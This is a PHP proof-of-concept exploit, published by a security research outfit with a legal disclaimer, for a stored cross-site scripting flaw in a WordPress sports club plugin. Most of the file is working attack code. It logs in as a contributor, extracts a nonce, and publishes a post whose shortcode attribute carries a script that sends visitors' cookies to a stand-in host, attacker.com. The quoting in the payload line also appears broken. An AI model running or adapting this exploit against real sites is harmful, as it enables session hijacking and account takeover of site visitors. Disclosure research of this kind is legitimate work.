CVE-2026-4871: Sports Club Management <= 1.12.9 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'before' Attribute (sports-club-management)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4871 - Sports Club Management <= 1.12.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'before' Attribute

<?php

// Configuration: Set the target WordPress site and login credentials
$target_url = 'http://example.com'; // Replace with the actual site URL
$username = 'contributor_user'; // Replace with Contributor-level username
$password = 'user_password'; // Replace with Contributor-level password

// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);

if (strpos($response, 'Dashboard') === false) {
    die('Login failed. Check credentials or site URL.');
}
echo "[+] Login successful.n";

// Step 2: Get a nonce for post creation
$admin_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);

// Extract the wpnonce value (name='_wpnonce' or similar)
preg_match('/<input type="hidden" name="_wpnonce" value="([^"]+)"/>/i', $response, $matches);
if (empty($matches)) {
    // Alternative: look for wp_rest nonce or Classic Editor nonce
    preg_match('/<input type="hidden" name="_wpnonce" value="([^"]+)"/i', $response, $matches);
}
if (empty($matches)) {
    // Fallback: use quick draft AJAX nonce (not always reliable)
    preg_match('/"wpnonce":"([^"]+)"/i', $response, $matches);
}
$nonce = isset($matches[1]) ? $matches[1] : '';
if (empty($nonce)) {
    die('Failed to obtain nonce. Manual interaction may be needed.');
}
echo "[+] Nonce obtained: $noncen";

// Step 3: Create a new post with the malicious shortcode in the content
$post_url = $target_url . '/wp-admin/post.php';
$post_data = array(
    '_wpnonce' => $nonce,
    'action' => 'editpost',
    'post_type' => 'post',
    'post_title' => 'Atomic Edge XSS POC - CVE-2026-4871',
    'content' => '[scm_member_data before="<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>"]',
    'post_status' => 'publish',
    'original_post_status' => 'draft',
    'post_author' => 1, // Adjust based on the contributor user ID
    'user_ID' => 1,
    'post_date' => current_time('mysql'),
    'comment_status' => 'open',
    'ping_status' => 'open',
    'post_name' => '',
    'post_parent' => 0,
    'menu_order' => 0,
    'post_password' => '',
    'post_excerpt' => '',
    'tags_input' => '',
    'tax_input' => array('category' => array(1)),
    'metakeyinput' => '',
    'metakeyselect' => '#NONE#',
    'advanced_view' => 1,
    'wp-preview' => '',
    'hidden_post_status' => 'draft',
    'hidden_post_password' => '',
    'hidden_post_visibility' => 'public',
    'visibility' => 'public',
    'post_format' => 0,
    'sticky' => false,
    'publish' => 'Publish'
);

curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);

if (strpos($response, 'Post published') !== false || strpos($response, 'message=6') !== false) {
    echo "[+] Post created successfully with malicious shortcode.n";
} else {
    echo "[!] Post creation may have failed or requires manual verification. Check the site.n";
}

curl_close($ch);
echo "[+] PoC completed. Visit the site to verify the XSS payload execution.n";

?>